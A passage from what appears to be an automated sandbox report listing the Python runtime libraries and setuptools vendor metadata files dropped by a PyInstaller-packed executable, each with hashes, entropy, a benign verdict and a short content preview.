MD5:	123AD0908C76CCBA4789C084F7A6B8D0
SHA1:	86DE58289C8200ED8C1FC51D5F00E38E32C1AAD5
SHA-256:	4E5D5D20D6D31E72AB341C81E97B89E514326C4C861B48638243BDF0918CFA43
SHA-512:	80FAE0533BA9A2F5FA7806E86F0DB8B6AAB32620DDE33B70A3596938B529F3822856DE75BDDB1B06721F8556EC139D784BC0BB9C8DA0D391DF2C20A80D33CB04
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._~.._~.._~..V.S.M~.....]~.....[~.....W~.....S~.._~...~......T~..J....~..J...7}..J...^~..J.?.^~..J...^~..Rich_~..........................PE..d......f.........." ...(..7..<......v........................................0P.......O...`...........................................H.0.....O.@....@O.\|.... L. .....O../...PO.$...`{D.8............................yD.@.............O..............................text.....7.......7................. ..`.rdata........7.......7.............@..@.data...Ao....K..<....K.............@....pdata....... L.......K.............@..@.idata...%....O..&....N.............@..@.00cfg..u....0O.......N.............@..@.rsrc...\|....@O.......N.............@..@.reloc..~....PO.......N.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29922\libffi-8.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39696
Entropy (8bit):	6.641880464695502
Encrypted:	false
SSDEEP:	768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
MD5:	0F8E4992CA92BAAF54CC0B43AACCCE21
SHA1:	C7300975DF267B1D6ADCBAC0AC93FD7B1AB49BD2
SHA-256:	EFF52743773EB550FCC6CE3EFC37C85724502233B6B002A35496D828BD7B280A
SHA-512:	6E1B223462DC124279BFCA74FD2C66FE18B368FFBCA540C84E82E0F5BCBEA0E10CC243975574FA95ACE437B9D8B03A446ED5EE0C9B1B094147CEFAF704DFE978
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".H...(.......L...............................................n....`......................................... l.......p..P...............P....l.../......,...@d...............................c..@............`.. ............................text....G.......H.................. ..`.rdata..h....`.......L..............@..@.data................b..............@....pdata..P............d..............@..@.reloc..,............j..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29922\libssl-3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	792856
Entropy (8bit):	5.57949182561317
Encrypted:	false
SSDEEP:	12288:7LN1sdyIzHHZp5c3nlUa6lxzAG11rbmFe9Xbv:7LgfzH5I3nlUa2AU2Fe9Xbv
MD5:	4FF168AAA6A1D68E7957175C8513F3A2
SHA1:	782F886709FEBC8C7CEBCEC4D92C66C4D5DBCF57
SHA-256:	2E4D35B681A172D3298CAF7DC670451BE7A8BA27C26446EFC67470742497A950
SHA-512:	C372B759B8C7817F2CBB78ECCC5A42FA80BDD8D549965BD925A97C3EEBDCE0335FBFEC3995430064DEAD0F4DB68EBB0134EB686A0BE195630C49F84B468113E3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l.>..\|m..\|m..\|m.u.m..\|m+.}l..\|m.u}l..\|m+..l..\|m+.xl..\|m+.yl..\|m..}l..\|m..}m..\|m..xl..\|m..\|l..\|m...m..\|m..~l..\|mRich..\|m................PE..d......f.........." ...(.>..........K........................................0......!+....`..........................................x...Q..............s.... ...M......./......d...p...8...............................@............................................text....<.......>.................. ..`.rdata..hz...P...\|...B..............@..@.data...qN.......H..................@....pdata..pV... ...X..................@..@.idata...c.......d...^..............@..@.00cfg..u...........................@..@.rsrc...s...........................@..@.reloc..C...........................@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29922\pyexpat.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	201488
Entropy (8bit):	6.375994899027017
Encrypted:	false
SSDEEP:	6144:cAPHiRwroqoLHMpCSNVysh9CV2i6P/1vTg:6wrExSU6PdvTg
MD5:	CF2C3D127F11CB2C026E151956745564
SHA1:	B1C8C432FC737D6F455D8F642A4F79AD95A97BD3
SHA-256:	D3E81017B4A82AE1B85E8CD6B9B7EB04D8817E29E5BC9ECE549AC24C8BB2FF23
SHA-512:	FE3A9C8122FFFF4AF7A51DF39D40DF18E9DB3BC4AED6B161A4BE40A586AC93C1901ACDF64CC5BFFF6975D22073558FC7A37399D016296432057B8150848F636E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1..P.P.P.(t..P...P...P...P...P....P..(.P.P..P....P....P......P....P.Rich.P.........................PE..d.....g.........." ...)..................................................... ............`............................................P... ............................/..........`4..T........................... 3..@............ ...............................text............................... ..`.rdata....... ......................@..@.data.... ..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29922\python313.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6083856
Entropy (8bit):	6.126922729922386
Encrypted:	false
SSDEEP:	49152:fXGc3O7T4DKX+vLFMmKYxiAYNBD987KdJlI9HbeX2jrgQcw6Zc4h67mM+XDQ3bLi:Of42zJiwJl/YF7v3vaHDMiEN3Kr
MD5:	B9DE917B925DD246B709BB4233777EFD
SHA1:	775F258D8B530C6EA9F0DD3D1D0B61C1948C25D2
SHA-256:	0C0A66505093B6A4BB3475F716BD3D9552095776F6A124709C13B3F9552C7D99
SHA-512:	F4BF3398F50FDD3AB7E3F02C1F940B4C8B5650ED7AF16C626CCD1B934053BA73A35F96DA03B349C1EB614BB23E0BC6B5CC58B07B7553A5C93C6D23124F324A33
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........s]{v ]{v ]{v M.w!_{v M.. S{v M.u!Y{v M.r!U{v M.s!P{v T.. G{v ..w!V{v ]{w .zv ..{!.{v ..v!\{v ... \{v ..t!\{v Rich]{v ........................PE..d......g.........." ...).:+..T9......J........................................d.....uF]...`...........................................O.....h.P.......d......0].......\../....d..... A3.T.....................I.(....?3.@............P+..............................text....8+......:+................. ..`.rdata....%..P+...%..>+.............@..@.data...$9....P..N....P.............@....pdata.......0]...... U.............@..@PyRuntim.N...._..P....W.............@....rsrc.........d.......[.............@..@.reloc........d.......[.............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29922\pywin32_system32\pywintypes313.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	135680
Entropy (8bit):	6.0205382324631955
Encrypted:	false
SSDEEP:	3072:q9GPDeI1KuOQEbULZYY/r06YrqHXmZEdb/XAnLT:GgDJ1vOlbfY/rke3mZE9/XA
MD5:	2A87D04E9E7CBFF67E8EA4F6315C0EBB
SHA1:	CF5B2BB53B37087ECA18E509B8551ED5CB7575D9
SHA-256:	D011068781CFBA0955258505DBE7E5C7D3D0B955E7F7640D2F1019D425278087
SHA-512:	2138E051AC116D3ABE11101C75F8BD8388D7FBA89B15E6F82DC35FD78BDD913ED8BA468769F68440CE7834825806281AA15F0023855E3B8248266414D60A4A44
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A.J+.z$x.z$x.z$x...x.z$xW.%y.z$xc..x.z$xW.!y.z$xW. y.z$xW.'y.z$xN. y.z$xM.%y.z$xN.%y.z$x.z%x.z$x..-y.z$x..$y.z$x..&y.z$xRich.z$x................PE..d...X..g.........." .........................................................`............`.........................................0...lB......,....@..l.... ...............P..0....a..T............................b..8...............p............................text...9........................... ..`.rdata..............................@..@.data....-.......(..................@....pdata....... ......................@..@.rsrc...l....@......................@..@.reloc..0....P......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29922\select.pyd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30992
Entropy (8bit):	6.554484610649281
Encrypted:	false
SSDEEP:	384:7hhxm9tKLhuoNHfzzlvFy0ZZIJ9GckHQIYiSy1pCQ4HWSJIVE8E9VF0Ny6sC:tCytHf98uZIJ9Gx5YiSyvy2ES
MD5:	20831703486869B470006941B4D996F2
SHA1:	28851DFD43706542CD3EF1B88B5E2749562DFEE0
SHA-256:	78E5994C29D8851F28B5B12D59D742D876683AEA58ECEEA1FB895B2036CDCDEB
SHA-512:	4AAF5D66D2B73F939B9A91E7EDDFEB2CE2476C625586EF227B312230414C064AA850B02A4028363AA4664408C9510594754530A6D026A0A84BE0168D677C1BC4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........tV..'V..'V..'_.j'T..'F:.&T..'F:.&R..'F:.&^..'F:.&Z..'.;.&T..'V..'...'...&S..'.;.&W..'.;.&W..'.;.'W..'.;.&W..'RichV..'................PE..d.....g.........." ...).....2............................................................`..........................................@..L...<A..x....p.......`.......J.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data...p....P.......8..............@....pdata.......`.......:..............@..@.rsrc........p.......>..............@..@.reloc..L............H..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\LICENSE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11358
Entropy (8bit):	4.4267168336581415
Encrypted:	false
SSDEEP:	192:nU6G5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEn7HbHR:U9vlKM1zJlFvmNz5VrlkTS07Ht
MD5:	3B83EF96387F14655FC854DDC3C6BD57
SHA1:	2B8B815229AA8A61E483FB4BA0588B8B6C491890
SHA-256:	CFC7749B96F63BD31C3C42B5C471BF756814053E847C10F3EB003417BC523D30
SHA-512:	98F6B79B778F7B0A15415BD750C3A8A097D650511CB4EC8115188E115C47053FE700F578895C097051C9BC3DFB6197C2B13A15DE203273E1A3218884F86E90E8
Malicious:	false
Preview:	. Apache License. Version 2.0, January 2004. http://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial own

C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4648
Entropy (8bit):	5.006900644756252
Encrypted:	false
SSDEEP:	96:Dx2ZSaCSmS8R902Vpnu386eLQ9Ac+fFZpDN00x2jZ2SBXZJSwTE:9Smzf02Vpnu386mQ9B+TP0vJHJSwTE
MD5:	98ABEAACC0E0E4FC385DFF67B607071A
SHA1:	E8C830D8B0942300C7C87B3B8FD15EA1396E07BD
SHA-256:	6A7B90EFFEE1E09D5B484CDF7232016A43E2D9CC9543BCBB8E494B1EC05E1F59
SHA-512:	F1D59046FFA5B0083A5259CEB03219CCDB8CC6AAC6247250CBD83E70F080784391FCC303F7630E1AD40E5CCF5041A57CB9B68ADEFEC1EBC6C31FCF7FFC65E9B7
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: importlib_metadata.Version: 8.0.0.Summary: Read metadata from Python packages.Author-email: "Jason R. Coombs" <jaraco@jaraco.com>.Project-URL: Source, https://github.com/python/importlib_metadata.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: Apache Software License.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.License-File: LICENSE.Requires-Dist: zipp >=0.5.Requires-Dist: typing-extensions >=3.6.4 ; python_version < "3.8".Provides-Extra: doc.Requires-Dist: sphinx >=3.5 ; extra == 'doc'.Requires-Dist: jaraco.packaging >=9.3 ; extra == 'doc'.Requires-Dist: rst.linker >=1.9 ; extra == 'doc'.Requires-Dist: furo ; extra == 'doc'.Requires-Dist: sphinx-lint ; extra == 'doc'.Requires-Dist: jaraco.tidelift >=1.4 ; extra == 'doc'.Provides-Extra: perf.Requires-D

C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2518
Entropy (8bit):	5.6307766747793275
Encrypted:	false
SSDEEP:	48:UnuXTg06U5J/Vw9l/gfNX7/XzBk9pvJq/fwJOfYrBfnJ/V0XJnzN/3WJV:bXzP/EgdzzBkDJsoIYrBfJ/CXNz9qV
MD5:	EB513CAFA5226DDA7D54AFDCC9AD8A74
SHA1:	B394C7AEC158350BAF676AE3197BEF4D7158B31C
SHA-256:	0D8D3C6EEB9EBBE86CAC7D60861552433C329DA9EA51248B61D02BE2E5E64030
SHA-512:	A0017CFAFF47FDA6067E3C31775FACEE4728C3220C2D4BD70DEF328BD20AA71A343E39DA15CD6B406F62311894C518DFCF5C8A4AE6F853946F26A4B4E767924E
Malicious:	false
Preview:	importlib_metadata-8.0.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..importlib_metadata-8.0.0.dist-info/LICENSE,sha256=z8d0m5b2O9McPEK1xHG_dWgUBT6EfBDz6wA0F7xSPTA,11358..importlib_metadata-8.0.0.dist-info/METADATA,sha256=anuQ7_7h4J1bSEzfcjIBakPi2cyVQ7y7jklLHsBeH1k,4648..importlib_metadata-8.0.0.dist-info/RECORD,,..importlib_metadata-8.0.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..importlib_metadata-8.0.0.dist-info/WHEEL,sha256=mguMlWGMX-VHnMpKOjjQidIo1ssRlCFu4a4mBpz1s2M,91..importlib_metadata-8.0.0.dist-info/top_level.txt,sha256=CO3fD9yylANiXkrMo4qHLV_mqXL2sC5JFKgt1yWAT-A,19..importlib_metadata/__init__.py,sha256=tZNB-23h8Bixi9uCrQqj9Yf0aeC--Josdy3IZRIQeB0,33798..importlib_metadata/__pycache__/__init__.cpython-312.pyc,,..importlib_metadata/__pycache__/_adapters.cpython-312.pyc,,..importlib_metadata/__pycache__/_collections.cpython-312.pyc,,..importlib_metadata/__pycache__/_compat.cpython-312.pyc,,..importlib_metadata/__pycac

C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	91
Entropy (8bit):	4.687870576189661
Encrypted:	false
SSDEEP:	3:RtEeXMRYFAVLMvhRRP+tPCCfA5S:RtC1VLMvhjWBBf
MD5:	7D09837492494019EA51F4E97823D79F
SHA1:	7829B4324BB542799494131A270EC3BDAD4DEDEF
SHA-256:	9A0B8C95618C5FE5479CCA4A3A38D089D228D6CB1194216EE1AE26069CF5B363
SHA-512:	A0063220ECDD22C3E735ACFF6DE559ACF3AC4C37B81D37633975A22A28B026F1935CD1957C0FF7D2ECC8B7F83F250310795EECC5273B893FFAB115098F7B9C38
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: setuptools (70.1.1).Root-Is-Purelib: true.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\top_level.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.536886723742169
Encrypted:	false
SSDEEP:	3:JSej0EBERG:50o4G
MD5:	A24465F7850BA59507BF86D89165525C
SHA1:	4E61F9264DE74783B5924249BCFE1B06F178B9AD
SHA-256:	08EDDF0FDCB29403625E4ACCA38A872D5FE6A972F6B02E4914A82DD725804FE0
SHA-512:	ECF1F6B777970F5257BDDD353305447083008CEBD8E5A27C3D1DA9C7BDC3F9BF3ABD6881265906D6D5E11992653185C04A522F4DB5655FF75EEDB766F93D5D48
Malicious:	false
Preview:	importlib_metadata.

C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\jaraco\text\Lorem ipsum.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (888)
Category:	dropped
Size (bytes):	1335
Entropy (8bit):	4.226823573023539
Encrypted:	false
SSDEEP:	24:FP6Hbz+g9RPZ14bJi04L6GEbX4UQF4UkZQhxI2EIhNyu:9E+i6bJmLm43+Uxxnh0u
MD5:	4CE7501F6608F6CE4011D627979E1AE4
SHA1:	78363672264D9CD3F72D5C1D3665E1657B1A5071
SHA-256:	37FEDCFFBF73C4EB9F058F47677CB33203A436FF9390E4D38A8E01C9DAD28E0B
SHA-512:	A4CDF92725E1D740758DA4DD28DF5D1131F70CEF46946B173FE6956CC0341F019D7C4FECC3C9605F354E1308858721DADA825B4C19F59C5AD1CE01AB84C46B24
Malicious:	false
Preview:	Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum..Curabitur pretium tincidunt lacus. Nulla gravida orci a odio. Nullam varius, turpis et commodo pharetra, est eros bibendum elit, nec luctus magna felis sollicitudin mauris. Integer in mauris eu nibh euismod gravida. Duis ac tellus et risus vulputate vehicula. Donec lobortis risus a elit. Etiam tempor. Ut ullamcorper, ligula eu tempor congue, eros est euismod turpis, id tincidunt sapien risus a quam. Maecenas fermentum consequat mi. Donec fermentum. Pellentesque malesuada nulla a mi. Duis sapien sem, aliquet nec, commodo eget, consequat quis, neque.

C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\wheel-0.43.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	5.115074330424529
Encrypted:	false
SSDEEP:	24:PWmrRONJHLH0cPP3gtkHw1h39QHOsUv4eOk4/+jvho3nPz:ttONJbbvE/NQHOs5eNS3n7
MD5:	7FFB0DB04527CFE380E4F2726BD05EBF
SHA1:	5B39C45A91A556E5F1599604F1799E4027FA0E60
SHA-256:	30C23618679108F3E8EA1D2A658C7CA417BDFC891C98EF1A89FA4FF0C9828654
SHA-512:	205F284F3A7E8E696C70ED7B856EE98C1671C68893F0952EEC40915A383BC452B99899BDC401F9FE161A1BF9B6E2CEA3BCD90615EEE9173301657A2CE4BAFE14
Malicious:	false
Preview:	MIT License..Copyright (c) 2012 Daniel Holth <dholth@fastmail.fm> and contributors..Permission is hereby granted, free of charge, to any person obtaining a.copy of this software and associated documentation files (the "Software"),.to deal in the Software without restriction, including without limitation.the rights to use, copy, modify, merge, publish, distribute, sublicense,.and/or sell copies of the Software, and to permit persons to whom the.Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included.in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL.THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR.OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERW

C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\wheel-0.43.0.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	2153
Entropy (8bit):	5.088249746074878
Encrypted:	false
SSDEEP:	48:DEhpFu5MktjaywDK48d+md+7uT8RfkD1UKd+mOl1Awry:DEhpiMktjayq/7kOfsUzmbYy
MD5:	EBEA27DA14E3F453119DC72D84343E8C
SHA1:	7CEB6DBE498B69ABF4087637C6F500742FF7E2B4
SHA-256:	59BAC22B00A59D3E5608A56B8CF8EFC43831A36B72792EE4389C9CD4669C7841
SHA-512:	A41593939B9325D40CB67FD3F41CD1C9E9978F162487FB469094C41440B5F48016B9A66BE2E6E4A0406D6EEDB25CE4F5A860BA1E3DC924B81F63CEEE3AE31117
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: wheel.Version: 0.43.0.Summary: A built-package format for Python.Keywords: wheel,packaging.Author-email: Daniel Holth <dholth@fastmail.fm>.Maintainer-email: Alex Gr.nholm <alex.gronholm@nextday.fi>.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: Topic :: System :: Archiving :: Packaging.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Requires-Dist: pytest >= 6.0.0 ; extra == "test".Requires-Dist: setuptools >= 65 ; extra == "test".Project-URL: Changelog, https://wheel.readthedocs.io/en/s

C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\wheel-0.43.0.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	4557
Entropy (8bit):	5.714200636114494
Encrypted:	false
SSDEEP:	96:QXVuEmegx01TQIvFCiq9H/H7vp88FxTXiJPkGJP4CWweXQHmnDpMI78IegK5EeZR:QXVxAbYkU4CWweXQHmnDpMeV2BvTRqQF
MD5:	44D352C4997560C7BFB82D9360F5985A
SHA1:	BE58C7B8AB32790384E4E4F20865C4A88414B67A
SHA-256:	783E654742611AF88CD9F00BF01A431A219DB536556E63FF981C7BD673070AC9
SHA-512:	281B1D939A560E6A08D0606E5E8CE15F086B4B45738AB41ED6B5821968DC8D764CD6B25DB6BA562A07018C271ABF17A6BC5A380FAD05696ADF1D11EE2C5749C8
Malicious:	false
Preview:	../../bin/wheel,sha256=cT2EHbrv-J-UyUXu26cDY-0I7RgcruysJeHFanT1Xfo,249..wheel-0.43.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..wheel-0.43.0.dist-info/LICENSE.txt,sha256=MMI2GGeRCPPo6h0qZYx8pBe9_IkcmO8aifpP8MmChlQ,1107..wheel-0.43.0.dist-info/METADATA,sha256=WbrCKwClnT5WCKVrjPjvxDgxo2tyeS7kOJyc1GaceEE,2153..wheel-0.43.0.dist-info/RECORD,,..wheel-0.43.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..wheel-0.43.0.dist-info/WHEEL,sha256=EZbGkh7Ie4PoZfRQ8I0ZuP9VklN_TvcZ6DSE5Uar4z4,81..wheel-0.43.0.dist-info/entry_points.txt,sha256=rTY1BbkPHhkGMm4Q3F0pIzJBzW2kMxoG1oriffvGdA0,104..wheel/__init__.py,sha256=D6jhH00eMzbgrXGAeOwVfD5i-lCAMMycuG1L0useDlo,59..wheel/__main__.py,sha256=NkMUnuTCGcOkgY0IBLgBCVC_BGGcWORx2K8jYGS12UE,455..wheel/__pycache__/__init__.cpython-312.pyc,,..wheel/__pycache__/__main__.cpython-312.pyc,,..wheel/__pycache__/_setuptools_logging.cpython-312.pyc,,..wheel/__pycache__/bdist_wheel.cpython-312.pyc,,..wheel/__pycache

C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\wheel-0.43.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.672346887071811
Encrypted:	false
SSDEEP:	3:RtEeX/QFM+vxP+tPCCfA5I:Rt1Qq2WBB3
MD5:	24019423EA7C0C2DF41C8272A3791E7B
SHA1:	AAE9ECFB44813B68CA525BA7FA0D988615399C86
SHA-256:	1196C6921EC87B83E865F450F08D19B8FF5592537F4EF719E83484E546ABE33E
SHA-512:	09AB8E4DAA9193CFDEE6CF98CCAE9DB0601F3DCD4944D07BF3AE6FA5BCB9DC0DCAFD369DE9A650A38D1B46C758DB0721EBA884446A8A5AD82BB745FD5DB5F9B1
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: flit 3.9.0.Root-Is-Purelib: true.Tag: py3-none-any.

C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\wheel-0.43.0.dist-info\entry_points.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	104
Entropy (8bit):	4.271713330022269
Encrypted:	false
SSDEEP:	3:1SSAnAYgh+MWTMhk6WjrAM5t5ln:1Jb9WTMhk9jUM5t5ln
MD5:	6180E17C30BAE5B30DB371793FCE0085
SHA1:	E3A12C421562A77D90A13D8539A3A0F4D3228359
SHA-256:	AD363505B90F1E1906326E10DC5D29233241CD6DA4331A06D68AE27DFBC6740D
SHA-512:	69EAE7B1E181D7BA1D3E2864D31E1320625A375E76D3B2FBF8856B3B6515936ACE3138D4D442CABDE7576FCFBCBB0DEED054D90B95CFA1C99829DB12A9031E26
Malicious:	false
Preview:	[console_scripts].wheel=wheel.cli:main..[distutils.commands].bdist_wheel=wheel.bdist_wheel:bdist_wheel..

C:\Users\user\AppData\Local\Temp\_MEI29922\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1540368
Entropy (8bit):	6.577233901213655
Encrypted:	false
SSDEEP:	24576:cmKZpHTv4iPI9FDgJNRs++l8GwLXSz4ih5Z5jWbsxuIl40OwumzuLxIhiE:0rJoDgJNRs+U8GwLXSMIZ5jWb0uIl48R
MD5:	7E632F3263D5049B14F5EDC9E7B8D356
SHA1:	92C5B5F96F1CBA82D73A8F013CBAF125CD0898B8
SHA-256:	66771FBD64E2D3B8514DD0CD319A04CA86CE2926A70F7482DDEC64049E21BE38
SHA-512:	CA1CC67D3EB63BCA3CE59EF34BECCE48042D7F93B807FFCD4155E4C4997DC8B39919AE52AB4E5897AE4DBCB47592C4086FAC690092CAA7AA8D3061FBA7FE04A2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
